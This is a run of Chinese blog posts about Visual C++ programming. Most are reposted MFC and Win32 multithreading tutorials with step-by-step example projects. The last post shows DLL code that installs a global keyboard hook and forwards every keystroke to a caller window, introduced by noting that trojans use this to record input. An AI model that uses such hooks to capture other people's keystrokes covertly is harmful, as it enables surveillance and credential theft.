    OnSum()函数的作用是建立CalculateThread线程,延时给该线程发送WM_CALCULATE消息。
  4. 右击工程并选中“New Class…”为工程添加基类为 CWinThread 派生线程类 CCalculateThread。

    在文件CalculateThread.h 中添加
    #define WM_CALCULATE WM_USER+1 
    class CCalculateThread : public CWinThread
    {
    ……
    protected:
    	afx_msg LONG OnCalculate(UINT wParam,LONG lParam);
    ……
    
    在文件CalculateThread.cpp中添加
    LONG CCalculateThread::OnCalculate(UINT wParam,LONG lParam)
    {
    	int nTmpt=0;
    	for(int i=0;i<=(int)wParam;i++)
    	{
    		nTmpt=nTmpt+i;
    	}
    
    	Sleep(500);
        ::PostMessage((HWND)(GetMainWnd()->GetSafeHwnd()),WM_DISPLAY,nTmpt,NULL);
    
    	return 0;
    }
    BEGIN_MESSAGE_MAP(CCalculateThread, CWinThread)
    	//{{AFX_MSG_MAP(CCalculateThread)
    		// NOTE - the ClassWizard will add and remove mapping macros here.
    	//}}AFX_MSG_MAP
    	ON_THREAD_MESSAGE(WM_CALCULATE,OnCalculate)
    //和主线程对比,注意它们的区别
    END_MESSAGE_MAP()
    
    在CalculateThread.cpp文件的开头添加一条:
    #include "MultiThread7Dlg.h"
    
      以上代码为 CCalculateThread 类添加了 WM_CALCULATE 消息,消息的响应函数是 OnCalculate,其功能是根据参数 wParam 的值,进行累加,累加结果在临时变量nTmpt中,延时0.5秒,向主线程发送WM_DISPLAY消息进行显示,nTmpt作为参数传递。
编译并运行该例程,体会如何在线程间传递消息。
posted @ 2010-04-03 11:08 jcss 阅读(76) 评论(0) 编辑

原创文档 本文适合中级读者 已阅读74682次 ]  
http://www.evccode.com

多线程编程之二——MFC中的多线程开发

作者:韩耀旭

下载源代码

五、MFC对多线程编程的支持

  MFC中有两类线程,分别称之为工作者线程和用户界面线程。二者的主要区别在于工作者线程没有消息循环,而用户界面线程有自己的消息队列和消息循环。
  工作者线程没有消息机制,通常用来执行后台计算和维护任务,如冗长的计算过程,打印机的后台打印等。用户界面线程一般用于处理独立于其他线程执行之外的用户输入,响应用户及系统所产生的事件和消息等。但对于Win32的API编程而言,这两种线程是没有区别的,它们都只需线程的启动地址即可启动线程来执行任务。
  在MFC中,一般用全局函数AfxBeginThread()来创建并初始化一个线程的运行,该函数有两种重载形式,分别用于创建工作者线程和用户界面线程。两种重载函数原型和参数分别说明如下:

(1) CWinThread* AfxBeginThread(AFX_THREADPROC pfnThreadProc,
                      LPVOID pParam,
                      nPriority=THREAD_PRIORITY_NORMAL,
                      UINT nStackSize=0,
                      DWORD dwCreateFlags=0,
                      LPSECURITY_ATTRIBUTES lpSecurityAttrs=NULL);
PfnThreadProc:指向工作者线程的执行函数的指针,线程函数原型必须声明如下:
UINT ExecutingFunction(LPVOID pParam);
请注意,ExecutingFunction()应返回一个UINT类型的值,用以指明该函数结束的原因。一般情况下,返回0表明执行成功。
  • pParam:传递给线程函数的一个32位参数,执行函数将用某种方式解释该值。它可以是数值,或是指向一个结构的指针,甚至可以被忽略;
  • nPriority:线程的优先级。如果为0,则线程与其父线程具有相同的优先级;
  • nStackSize:线程为自己分配堆栈的大小,其单位为字节。如果nStackSize被设为0,则线程的堆栈被设置成与父线程堆栈相同大小;
  • dwCreateFlags:如果为0,则线程在创建后立刻开始执行。如果为CREATE_SUSPEND,则线程在创建后立刻被挂起;
  • lpSecurityAttrs:线程的安全属性指针,一般为NULL;
 (2) CWinThread* AfxBeginThread(CRuntimeClass* pThreadClass,
                      int nPriority=THREAD_PRIORITY_NORMAL,
                      UINT nStackSize=0,
                      DWORD dwCreateFlags=0,
                      LPSECURITY_ATTRIBUTES lpSecurityAttrs=NULL);

 

  pThreadClass 是指向 CWinThread 的一个导出类的运行时类对象的指针,该导出类定义了被创建的用户界面线程的启动、退出等;其它参数的意义同形式1。使用函数的这个原型生成的线程也有消息机制,在以后的例子中我们将发现同主线程的机制几乎一样。

下面我们对CWinThread类的数据成员及常用函数进行简要说明。

  • m_hThread:当前线程的句柄;
  • m_nThreadID:当前线程的ID;
  • m_pMainWnd:指向应用程序主窗口的指针
BOOL CWinThread::CreateThread(DWORD dwCreateFlags=0,
UINT nStackSize=0,
LPSECURITY_ATTRIBUTES lpSecurityAttrs=NULL);

  该函数中的dwCreateFlags、nStackSize、lpSecurityAttrs参数和API函数CreateThread中的对应参数有相同含义,该函数执行成功,返回非0值,否则返回0。
  一般情况下,调用AfxBeginThread()来一次性地创建并启动一个线程,但是也可以通过两步法来创建线程:首先创建CWinThread类的一个对象,然后调用该对象的成员函数CreateThread()来启动该线程。

virtual BOOL CWinThread::InitInstance();
   重载该函数以控制用户界面线程实例的初始化。初始化成功则返回非0值,否则返回0。用户界面线程经常重载该函数,工作者线程一般不使用InitInstance()。
virtual int CWinThread::ExitInstance();
   在线程终结前重载该函数进行一些必要的清理工作。该函数返回线程的退出码,0表示执行成功,非0值用来标识各种错误。同InitInstance()成员函数一样,该函数也只适用于用户界面线程。

六、MFC多线程编程实例

  在Visual C++ 6.0编程环境中,我们既可以编写C风格的32位Win32应用程序,也可以利用MFC类库编写C++风格的应用程序,二者各有其优缺点。基于Win32的应用程序执行代码小巧,运行效率高,但要求程序员编写的代码较多,且需要管理系统提供给程序的所有资源;而基于MFC类库的应用程序可以快速建立起应用程序,类库为程序员提供了大量的封装类,而且Developer Studio为程序员提供了一些工具来管理用户源程序,其缺点是类库代码很庞大。由于使用类库所带来的快速、简捷和功能强大等优越性,因此除非有特殊的需要,否则Visual C++推荐使用MFC类库进行程序开发。

我们知道,MFC中的线程分为两种:用户界面线程和工作者线程。我们将分别举例说明。

用 MFC 类库编程实现工作者线程

例程5 MultiThread5

为了与Win32 API对照,我们使用MFC 类库编程实现例程3 MultiThread3。

  1. 建立一个基于对话框的工程MultiThread5,在对话框IDD_MULTITHREAD5_DIALOG中加入一个编辑框IDC_MILLISECOND,一个按钮IDC_START,标题为“开始” ,一个进度条IDC_PROGRESS1;
  2. 打开ClassWizard,为编辑框IDC_MILLISECOND添加int型变量m_nMilliSecond,为进度条IDC_PROGRESS1添加CProgressCtrl型变量m_ctrlProgress;
  3. 在MultiThread5Dlg.h文件中添加一个结构的定义:
    struct threadInfo
    {
    	UINT nMilliSecond;
    	CProgressCtrl* pctrlProgress;
    };
    
    线程函数的声明:
    UINT ThreadFunc(LPVOID lpParam); 

    注意,二者应在类CMultiThread5Dlg的外部。

    在类CMultiThread5Dlg内部添加protected型变量:

    CWinThread* pThread; 
  4. 在MultiThread5Dlg.cpp文件中进行如下操作: 定义公共变量:
    threadInfo Info; 

    双击按钮IDC_START,添加相应消息处理函数:

    void CMultiThread5Dlg::OnStart() 
    {
    	// TODO: Add your control notification handler code here
    
    	UpdateData(TRUE);
    	Info.nMilliSecond=m_nMilliSecond;
    	Info.pctrlProgress=&m_ctrlProgress;
    
    	pThread=AfxBeginThread(ThreadFunc,
    		&Info);
    }
    
    在函数BOOL CMultiThread3Dlg::OnInitDialog()中添加语句:
    {
    	……
    	
    	// TODO: Add extra initialization here
    	m_ctrlProgress.SetRange(0,99);
    	m_nMilliSecond=10;
    	UpdateData(FALSE);
    	return TRUE;  // return TRUE  unless you set the focus to a control
    }
    
    添加线程处理函数:
    UINT ThreadFunc(LPVOID lpParam)
    {
    	threadInfo* pInfo=(threadInfo*)lpParam;
    	for(int i=0;i<100;i++)
    	{
    		int nTemp=pInfo->nMilliSecond;
    
    		pInfo->pctrlProgress->SetPos(i);
    
    		Sleep(nTemp);
    	}
    	return 0;
    }

用 MFC 类库编程实现用户界面线程

创建用户界面线程的步骤:

  1. 使用ClassWizard创建类CWinThread的派生类(以CUIThread类为例)
    class CUIThread : public CWinThread
    {
    	DECLARE_DYNCREATE(CUIThread)
    protected:
    	CUIThread();           // protected constructor used by dynamic creation
    
    // Attributes
    public:
    
    // Operations
    public:
    
    // Overrides
    	// ClassWizard generated virtual function overrides
    	//{{AFX_VIRTUAL(CUIThread)
    	public:
    	virtual BOOL InitInstance();
    	virtual int ExitInstance();
    	//}}AFX_VIRTUAL
    
    // Implementation
    protected:
    	virtual ~CUIThread();
    
    	// Generated message map functions
    	//{{AFX_MSG(CUIThread)
    		// NOTE - the ClassWizard will add and remove member functions here.
    	//}}AFX_MSG
    
    	DECLARE_MESSAGE_MAP()
    };
    
  2. 重载函数InitInstance()和ExitInstance()。
    BOOL CUIThread::InitInstance()
    {
    	CFrameWnd* wnd=new CFrameWnd;
    	wnd->Create(NULL,"UI Thread Window");
    	wnd->ShowWindow(SW_SHOW);
    	wnd->UpdateWindow();
    	m_pMainWnd=wnd;
    	return TRUE;
    }
    
    创建新的用户界面线程
    void CUIThreadDlg::OnButton1() 
    {
    	CUIThread* pThread=new CUIThread();
    	pThread->CreateThread();
    }
    
    请注意以下两点:

    A、在UIThreadDlg.cpp的开头加入语句:
    #include "UIThread.h"
    B、把UIThread.h中类CUIThread()的构造函数的特性由 protected 改为 public。

      用户界面线程的执行次序与应用程序主线程相同,首先调用用户界面线程类的InitInstance()函数,如果返回TRUE,继续调用线程的Run()函数,该函数的作用是运行一个标准的消息循环,并且当收到WM_QUIT消息后中断,在消息循环过程中,Run()函数检测到线程空闲时(没有消息),也将调用OnIdle()函数,最后Run()函数返回,MFC调用ExitInstance()函数清理资源。
      你可以创建一个没有界面而有消息循环的线程,例如:你可以从CWinThread派生一个新类,在InitInstance函数中完成某项任务并返回FALSE,这表示仅执行InitInstance函数中的任务而不执行消息循环,你可以通过这种方法,完成一个工作者线程的功能。

例程6 MultiThread6

  1. 建立一个基于对话框的工程MultiThread6,在对话框IDD_MULTITHREAD6_DIALOG中加入一个按钮IDC_UI_THREAD,标题为“用户界面线程”
  2. 右击工程并选中“New Class…”为工程添加基类为CWinThread派生线程类CUIThread。
  3. 给工程添加新对话框IDD_UITHREADDLG,标题为“线程对话框”。
  4. 为对话框IDD_UITHREADDLG创建一个基于CDialog的类CUIThreadDlg。使用ClassWizard为CUIThreadDlg类添加WM_LBUTTONDOWN消息的处理函数OnLButtonDown,如下:
    void CUIThreadDlg::OnLButtonDown(UINT nFlags, CPoint point) 
    {
    	AfxMessageBox("You Clicked The Left Button!");
    	CDialog::OnLButtonDown(nFlags, point);
    }
  5. 在UIThread.h中添加
    #include "UIThreadDlg.h"
    并在CUIThread类中添加protected变量CUIThread m_dlg:
    class CUIThread : public CWinThread
    {
    	DECLARE_DYNCREATE(CUIThread)
    protected:
    	CUIThread();           // protected constructor used by dynamic creation
    
    // Attributes
    public:
    
    // Operations
    public:
    
    // Overrides
    	// ClassWizard generated virtual function overrides
    	//{{AFX_VIRTUAL(CUIThread)
    	public:
    	virtual BOOL InitInstance();
    	virtual int ExitInstance();
    	//}}AFX_VIRTUAL
    
    // Implementation
    protected:
    	CUIThreadDlg m_dlg;
    	virtual ~CUIThread();
    
    	// Generated message map functions
    	//{{AFX_MSG(CUIThread)
    		// NOTE - the ClassWizard will add and remove member functions here.
    	//}}AFX_MSG
    
    	DECLARE_MESSAGE_MAP()
    };
    
  6. 分别重载InitInstance()函数和ExitInstance()函数:
    BOOL CUIThread::InitInstance()
    {
    	m_dlg.Create(IDD_UITHREADDLG);
    	m_dlg.ShowWindow(SW_SHOW);
    	m_pMainWnd=&m_dlg;
    	return TRUE;
    }
    
    int CUIThread::ExitInstance()
    {
    	m_dlg.DestroyWindow();
    	return CWinThread::ExitInstance();
    }
    
  7. 双击按钮IDC_UI_THREAD,添加消息响应函数:
    void CMultiThread6Dlg::OnUiThread() 
    {
    	CWinThread *pThread=AfxBeginThread(RUNTIME_CLASS(CUIThread));
    }
    
    并在MultiThread6Dlg.cpp的开头添加:
    #include "UIThread.h"
    

  好了,编译并运行程序吧。每单击一次“用户界面线程”按钮,都会弹出一个线程对话框,在任何一个线程对话框内按下鼠标左键,都会弹出一个消息框。

posted @ 2010-04-03 11:07 jcss 阅读(82) 评论(0) 编辑

(转)http://www.vckbase.com/document/viewdoc/?id=1704


下载源代码

一、问题的提出

编写一个耗时的单线程程序:

  新建一个基于对话框的应用程序SingleThread,在主对话框IDD_SINGLETHREAD_DIALOG添加一个按钮,ID为IDC_SLEEP_SIX_SECOND,标题为“延时6秒”,添加按钮的响应函数,代码如下:

void CSingleThreadDlg::OnSleepSixSecond() 
{
	Sleep(6000); //延时6秒
}
  编译并运行应用程序,单击“延时6秒”按钮,你就会发现在这6秒期间程序就象“死机”一样,不在响应其它消息。为了更好地处理这种耗时的操作,我们有必要学习——多线程编程。

二、多线程概述

  进程和线程都是操作系统的概念。进程是应用程序的执行实例,每个进程是由私有的虚拟地址空间、代码、数据和其它各种系统资源组成,进程在运行过程中创建的资源随着进程的终止而被销毁,所使用的系统资源在进程终止时被释放或关闭。
  线程是进程内部的一个执行单元。系统创建好进程后,实际上就启动执行了该进程的主执行线程,主执行线程以函数地址形式,比如说main或WinMain函数,将程序的启动点提供给Windows系统。主执行线程终止了,进程也就随之终止。
  每一个进程至少有一个主执行线程,它无需由用户去主动创建,是由系统自动创建的。用户根据需要在应用程序中创建其它线程,多个线程并发地运行于同一个进程中。一个进程中的所有线程都在该进程的虚拟地址空间中,共同使用这些虚拟地址空间、全局变量和系统资源,所以线程间的通讯非常方便,多线程技术的应用也较为广泛。
  多线程可以实现并行处理,避免了某项任务长时间占用CPU时间。要说明的一点是,目前大多数的计算机都是单处理器(CPU)的,为了运行所有这些线程,操作系统为每个独立线程安排一些CPU时间,操作系统以轮换方式向线程提供时间片,这就给人一种假象,好象这些线程都在同时运行。由此可见,如果两个非常活跃的线程为了抢夺对CPU的控制权,在线程切换时会消耗很多的CPU资源,反而会降低系统的性能。这一点在多线程编程时应该注意。
  Win32 SDK函数支持进行多线程的程序设计,并提供了操作系统原理中的各种同步、互斥和临界区等操作。Visual C++ 6.0中,使用MFC类库也实现了多线程的程序设计,使得多线程编程更加方便。

三、Win32 API对多线程编程的支持

  Win32 提供了一系列的API函数来完成线程的创建、挂起、恢复、终结以及通信等工作。下面将选取其中的一些重要函数进行说明。

1、HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,
                 DWORD dwStackSize,
                 LPTHREAD_START_ROUTINE lpStartAddress,
                 LPVOID lpParameter,
                 DWORD dwCreationFlags,
                 LPDWORD lpThreadId);
该函数在其调用进程的进程空间里创建一个新的线程,并返回已建线程的句柄,其中各参数说明如下:
  • lpThreadAttributes:指向一个 SECURITY_ATTRIBUTES 结构的指针,该结构决定了线程的安全属性,一般置为 NULL;
  • dwStackSize:指定了线程的堆栈深度,一般都设置为0;
  • lpStartAddress:表示新线程开始执行时代码所在函数的地址,即线程的起始地址。一般情况为(LPTHREAD_START_ROUTINE)ThreadFunc,ThreadFunc 是线程函数名;
  • lpParameter:指定了线程执行时传送给线程的32位参数,即线程函数的参数;
  • dwCreationFlags:控制线程创建的附加标志,可以取两种值。如果该参数为0,线程在被创建后就会立即开始执行;如果该参数为CREATE_SUSPENDED,则系统产生线程后,该线程处于挂起状态,并不马上执行,直至函数ResumeThread被调用;
  • lpThreadId:该参数返回所创建线程的ID;

如果创建成功则返回线程的句柄,否则返回NULL。

2、DWORD SuspendThread(HANDLE hThread);
该函数用于挂起指定的线程,如果函数执行成功,则线程的执行被终止。
3、DWORD ResumeThread(HANDLE hThread);
该函数用于结束线程的挂起状态,执行线程。
4、VOID ExitThread(DWORD dwExitCode);
该函数用于线程终结自身的执行,主要在线程的执行函数中被调用。其中参数dwExitCode用来设置线程的退出码。
5、BOOL TerminateThread(HANDLE hThread,DWORD dwExitCode);
  一般情况下,线程运行结束之后,线程函数正常返回,但是应用程序可以调用TerminateThread强行终止某一线程的执行。各参数含义如下:
  • hThread:将被终结的线程的句柄;
  • dwExitCode:用于指定线程的退出码。

  使用TerminateThread()终止某个线程的执行是不安全的,可能会引起系统不稳定;虽然该函数立即终止线程的执行,但并不释放线程所占用的资源。因此,一般不建议使用该函数。

6、BOOL PostThreadMessage(DWORD idThread,
			UINT Msg,
			WPARAM wParam,
			LPARAM lParam);
该函数将一条消息放入到指定线程的消息队列中,并且不等到消息被该线程处理时便返回。
  • idThread:将接收消息的线程的ID;
  • Msg:指定用来发送的消息;
  • wParam:同消息有关的字参数;
  • lParam:同消息有关的长参数;

调用该函数时,如果即将接收消息的线程没有创建消息循环,则该函数执行失败。

四、Win32 API多线程编程例程

例程1 MultiThread1

  1. 建立一个基于对话框的工程MultiThread1,在对话框IDD_MULTITHREAD1_DIALOG中加入两个按钮和一个编辑框,两个按钮的ID分别是IDC_START,IDC_STOP ,标题分别为“启动”,“停止”,IDC_STOP的属性选中Disabled;编辑框的ID为IDC_TIME ,属性选中Read-only;
     
  2. 在MultiThread1Dlg.h文件中添加线程函数声明:
    void ThreadFunc();
    
    注意,线程函数的声明应在类CMultiThread1Dlg的外部。 在类CMultiThread1Dlg内部添加protected型变量:
    	HANDLE hThread;
    	DWORD ThreadID;
    
    分别代表线程的句柄和ID。 
     
  3. 在MultiThread1Dlg.cpp文件中添加全局变量m_bRun :
    volatile BOOL m_bRun;
    
    m_bRun 代表线程是否正在运行。

    你要留意到全局变量 m_bRun 是使用 volatile 修饰符的,volatile 修饰符的作用是告诉编译器无需对该变量作任何的优化,即无需将它放到一个寄存器中,并且该值可被外部改变。对于多线程引用的全局变量来说,volatile 是一个非常重要的修饰符。

    编写线程函数:
    void ThreadFunc()
    {
    	CTime time;
    	CString strTime;
    	m_bRun=TRUE;
    	while(m_bRun)
    	{
    		time=CTime::GetCurrentTime();
    		strTime=time.Format("%H:%M:%S");
    		::SetDlgItemText(AfxGetMainWnd()->m_hWnd,IDC_TIME,strTime);
    		Sleep(1000);
    	}
    }
    
    该线程函数没有参数,也不返回函数值。只要m_bRun为TRUE,线程一直运行。

    双击IDC_START按钮,完成该按钮的消息函数:
    void CMultiThread1Dlg::OnStart() 
    {
    	// TODO: Add your control notification handler code here
    	hThread=CreateThread(NULL,
    		0,
    		(LPTHREAD_START_ROUTINE)ThreadFunc,
    		NULL,
    		0,
    		&ThreadID);
    	GetDlgItem(IDC_START)->EnableWindow(FALSE);
    	GetDlgItem(IDC_STOP)->EnableWindow(TRUE);
    
    }
    
    双击IDC_STOP按钮,完成该按钮的消息函数:
    void CMultiThread1Dlg::OnStop() 
    {
    	// TODO: Add your control notification handler code here
    	m_bRun=FALSE;
    	GetDlgItem(IDC_START)->EnableWindow(TRUE);
    	GetDlgItem(IDC_STOP)->EnableWindow(FALSE);
    }
    
    编译并运行该例程,体会使用Win32 API编写的多线程。

 

 

 

 

例程2 MultiThread2

  该线程演示了如何传送一个一个整型的参数到一个线程中,以及如何等待一个线程完成处理。

  1. 建立一个基于对话框的工程MultiThread2,在对话框IDD_MULTITHREAD2_DIALOG中加入一个编辑框和一个按钮,ID分别是IDC_COUNT,IDC_START ,按钮控件的标题为“开始”;
  2. 在MultiThread2Dlg.h文件中添加线程函数声明:
    void ThreadFunc(int integer);
    
    注意,线程函数的声明应在类CMultiThread2Dlg的外部。

    在类CMultiThread2Dlg内部添加protected型变量:
    	HANDLE hThread;
    	DWORD ThreadID;
    
    分别代表线程的句柄和ID。
     
  3. 打开ClassWizard,为编辑框IDC_COUNT添加int型变量m_nCount。 在MultiThread2Dlg.cpp文件中添加:
    void ThreadFunc(int integer)
    {
    	int i;
    	for(i=0;i<integer;i++)
    	{
    		Beep(200,50);
    		Sleep(1000);
    	}
    } 
    
    双击IDC_START按钮,完成该按钮的消息函数:
    void CMultiThread2Dlg::OnStart() 
    {
    	UpdateData(TRUE);
    	int integer=m_nCount;
    	hThread=CreateThread(NULL,
    		0,
    		(LPTHREAD_START_ROUTINE)ThreadFunc,
    		(VOID*)integer,
    		0,
    		&ThreadID);
    	GetDlgItem(IDC_START)->EnableWindow(FALSE);
    	WaitForSingleObject(hThread,INFINITE);
    	GetDlgItem(IDC_START)->EnableWindow(TRUE);
    }
    
    顺便说一下WaitForSingleObject函数,其函数原型为:
    DWORD WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds);
    
    • hHandle为要监视的对象(一般为同步对象,也可以是线程)的句柄;
    • dwMilliseconds为hHandle对象所设置的超时值,单位为毫秒;

      当在某一线程中调用该函数时,线程暂时挂起,系统监视hHandle所指向的对象的状态。如果在挂起的dwMilliseconds毫秒内,线程所等待的对象变为有信号状态,则该函数立即返回;如果超时时间已经到达dwMilliseconds毫秒,但hHandle所指向的对象还没有变成有信号状态,函数照样返回。参数dwMilliseconds有两个具有特殊意义的值:0和INFINITE。若为0,则该函数立即返回;若为INFINITE,则线程一直被挂起,直到hHandle所指向的对象变为有信号状态时为止。
      本例程调用该函数的作用是按下IDC_START按钮后,一直等到线程返回,再恢复IDC_START按钮正常状态。 编译运行该例程并细心体会。

例程3 MultiThread3

传送一个结构体给一个线程函数也是可能的,可以通过传送一个指向结构体的指针参数来完成。 先定义一个结构体:

typedef struct
{
 int firstArgu,
 long secondArgu,
…
}myType,*pMyType;
创建线程时
CreateThread(NULL,0,threadFunc,pMyType,…);

在threadFunc函数内部,可以使用“强制转换”:

int intValue=((pMyType)lpvoid)->firstArgu;
long longValue=((pMyType)lpvoid)->seconddArgu;
……
例程3 MultiThread3将演示如何传送一个指向结构体的指针参数。

 

  1. 建立一个基于对话框的工程MultiThread3,在对话框IDD_MULTITHREAD3_DIALOG中加入一个编辑框IDC_MILLISECOND,一个按钮IDC_START,标题为“开始” ,一个进度条IDC_PROGRESS1;
  2. 打开ClassWizard,为编辑框IDC_MILLISECOND添加int型变量m_nMilliSecond,为进度条IDC_PROGRESS1添加CProgressCtrl型变量m_ctrlProgress;
  3. 在MultiThread3Dlg.h文件中添加一个结构的定义:
    struct threadInfo
    {
    	UINT nMilliSecond;
    	CProgressCtrl* pctrlProgress;
    };
    
    线程函数的声明:
    UINT ThreadFunc(LPVOID lpParam);
    
    注意,二者应在类CMultiThread3Dlg的外部。 

    在类CMultiThread3Dlg内部添加protected型变量:
    HANDLE hThread;
    DWORD ThreadID;
    
    分别代表线程的句柄和ID。
  4. 在MultiThread3Dlg.cpp文件中进行如下操作:

    定义公共变量 threadInfo Info;
    双击按钮IDC_START,添加相应消息处理函数:
    void CMultiThread3Dlg::OnStart() 
    {
    	// TODO: Add your control notification handler code here
    
    	UpdateData(TRUE);
    	Info.nMilliSecond=m_nMilliSecond;
    	Info.pctrlProgress=&m_ctrlProgress;
    
    	hThread=CreateThread(NULL,
    		0,
    		(LPTHREAD_START_ROUTINE)ThreadFunc,
    		&Info,
    		0,
    		&ThreadID);
    /*
    	GetDlgItem(IDC_START)->EnableWindow(FALSE);
    	WaitForSingleObject(hThread,INFINITE);
    	GetDlgItem(IDC_START)->EnableWindow(TRUE);
    */
    }
    
    在函数BOOL CMultiThread3Dlg::OnInitDialog()中添加语句:
    {
    	……
    	
    	// TODO: Add extra initialization here
    	m_ctrlProgress.SetRange(0,99);
    	m_nMilliSecond=10;
    	UpdateData(FALSE);
    	return TRUE;  // return TRUE  unless you set the focus to a control
    }
    
    添加线程处理函数:UINT ThreadFunc(LPVOID lpParam)
    {
    	threadInfo* pInfo=(threadInfo*)lpParam;
    	for(int i=0;i<100;i++)
    	{
    		int nTemp=pInfo->nMilliSecond;
    
    		pInfo->pctrlProgress->SetPos(i);
    
    		Sleep(nTemp);
    	}
    	return 0;
    }
    
      顺便补充一点,如果你在void CMultiThread3Dlg::OnStart() 函数中添加/* */语句,编译运行你就会发现进度条不进行刷新,主线程也停止了反应。什么原因呢? 这是因为WaitForSingleObject函数等待子线程(ThreadFunc)结束时,导致了线程死锁。因为WaitForSingleObject函数会将主线程挂起(任何消息都得不到处理),而子线程ThreadFunc正在设置进度条,一直在等待主线程将刷新消息处理完毕返回才会检测通知事件。这样两个线程都在互相等待,死锁发生了,编程时应注意避免。
例程4 MultiThread4

该例程测试在Windows下最多可创建线程的数目。

 

  1. 建立一个基于对话框的工程MultiThread4,在对话框IDD_MULTITHREAD4_DIALOG中加入一个按钮IDC_TEST和一个编辑框IDC_COUNT,按钮标题为“测试” , 编辑框属性选中Read-only;
  2. 在MultiThread4Dlg.cpp文件中进行如下操作:

    添加公共变量
    volatile BOOL m_bRunFlag=TRUE; 

    该变量表示是否还能继续创建线程。

    添加线程函数:

    DWORD WINAPI threadFunc(LPVOID threadNum)
    {
    	while(m_bRunFlag)
    	{
    		Sleep(3000);
    	}
    	return 0;
    }
    
    只要 m_bRunFlag 变量为TRUE,线程一直运行。

    双击按钮IDC_TEST,添加其响应消息函数:
    void CMultiThread4Dlg::OnTest() 
    {
    	DWORD threadID;
    	GetDlgItem(IDC_TEST)->EnableWindow(FALSE);
    	long nCount=0;
    	while(m_bRunFlag)
    	{
    		if(CreateThread(NULL,0,threadFunc,NULL,0,&threadID)==NULL)
    		{
    			m_bRunFlag=FALSE;
    			break;
    		}
    		else
    		{
    			nCount++;
    		}
    	}
       //不断创建线程,直到再不能创建为止
    	m_nCount=nCount;
    	UpdateData(FALSE);
    	Sleep(5000);
       //延时5秒,等待所有创建的线程结束
    	GetDlgItem(IDC_TEST)->EnableWindow(TRUE);
        m_bRunFlag=TRUE;
    } 

( 未完待续) 

posted @ 2010-04-03 11:05 jcss 阅读(61) 评论(0) 编辑

(转)(测试通过)

监控程序的实现 
     我们发现一些木马或其他病毒程序常常会将我们的键盘或鼠标的操作消息记录下来然后再将它发到他们指定的地方以实现监听.这种功能其他是利用了全局钩子将鼠标或键盘消息进行了截取,从而获得了操作的消息.要得到鼠标和键盘的控制权,我们要用SetWindowsHookEx这个函数: 
HHOOK SetWindowsHookEx( 
   int idHook,        // type of hook to install 
   HOOKPROC lpfn,     // address of hook procedure 
   HINSTANCE hMod,    // handle to application instance 
   DWORD dwThreadId   // identity of thread to install hook for 
); 
其中idHook是要安装的钩子标识即钩子的类型,lpfn是钩子函数的消息处理过程,hMod是应用程序的实例句柄,dwThreadId是要为哪个线程安装钩子.如果它为0则为全部线程都安装钩子,即为全局钩子.这就是获得全部应用程序消息控制权的开始.我们安装的钩子类型有很多种主要是下面的: 
WH_CALLWNDPROCWH_CALLWNDPROCRETWH_CBTWH_DEBUGWH_FOREGROUNDIDLEWH_GETMESSAGEWH_JOURNALPLAYBACKWH_JOURNALRECORDWH_KEYBOARDWH_KEYBOARD_LLWH_MOUSEWH_MOUSE_LLWH_MSGFILTERWH_SHELLWH_SYSMSGFILTER 
其中WH_MOUSE是鼠标钩子,WH_KEYBOARD是键盘钩子. 
不同的钩子对应不同的钩子过程,钩子过程的写法(以键盘钩子过程为例)是: 
LRESULT CALLBACK MouseProc( 
   int nCode,      // hook code 
   WPARAM wParam,  // message identifier 
   LPARAM lParam   // mouse coordinates 
); 
钩子过程的名字是没关系的. 
要取消钩子的安装可以用UnhookWindowsEx: 
BOOL UnhookWindowsHookEx( 
   HHOOK hhk   // handle to hook procedure to remove 
); 

下面要介绍一下如何让每个应用程序要安装上钩子函数,要让每个应用程序都安装上钩子要用到动态链接库的知识,利用动态链接库加载到每个应用程序中. 
我们首先用VC6.0新建一个WINDOWS动态链接库的空工程,新建一个头文件为了动态链接库本身和使用动态链接库的应用程序也能用,我们定义好导入导出宏和自定义消息以及要导入和导出的函数的定义: 
//HookDll.h 
// 定义函数修饰宏,方便引用本DLL工程的导出函数 
#ifdef KEYHOOKLIB_EXPORTS 
#define KEYHOOKLIB_API __declspec(dllexport)                 //导出宏 
#else 
#define KEYHOOKLIB_API __declspec(dllimport)               //导入宏 
#endif 
// 自定义与主程序通信的消息 
#define HM_KEY WM_USER + 101                   //自定义键盘消息 
#define HM_MOUSE WM_USER +102               //自定义鼠标消息 
// 声明要导出的函数 
BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall, 
           DWORD dwThreadId = 0, HWND hWndCaller = NULL); 
BOOL KEYHOOKLIB_API WINAPI SetMouseHook(BOOL bInstall, 
           DWORD dwThreadId = 0, HWND hWndCaller = NULL 

下面再新建一个C++源文件HookDll.cpp: 
我们先包含<windows.h>头文件 
再定义#define KEYHOOKLIB_EXPORTS让包含"HookDll.h"的时候,我们使用的是导出宏, 
#include "HookDll.h" 
#pragma data_seg("YCIShared") 
HWND g_hWndCaller = NULL; // 保存主窗口句柄 
HHOOK g_hHook = NULL;   // 保存钩子句柄 
HHOOK g_hMouseHook=NULL; 
#pragma data_seg() 
我们上面定义了共享的全局窗口句柄和全局的钩子标识,是为了所有应用程序都共享这三个变量. 
下面是钩子函数的实现代码: 
HMODULE WINAPI ModuleFromAddress(PVOID pv) //获得钩子函数的地址 

MEMORY_BASIC_INFORMATION mbi; 
if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0) 

   return (HMODULE)mbi.AllocationBase; 

else 

   return NULL; 


LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)// 键盘钩子函数消息过程 

     if(nCode < 0 || nCode == HC_NOREMOVE) 
return ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

     if(lParam & 0x40000000) // 消息重复就交给下一个hook链 

   return ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 


// 通知主窗口。wParam参数为虚拟键码, lParam参数包含了此键的信息 
   ::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam);   //发送自定义键盘消息 
   return ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)// 安装、卸载钩子的函数 

BOOL bOk; 
g_hWndCaller = hWndCaller; 

if(bInstall) 

   g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, 
     ModuleFromAddress(KeyHookProc), dwThreadId);               //安装键盘钩子 
   bOk = (g_hHook != NULL); 

else 

   bOk = ::UnhookWindowsHookEx(g_hHook); 
   g_hHook = NULL; 


return bOk; 

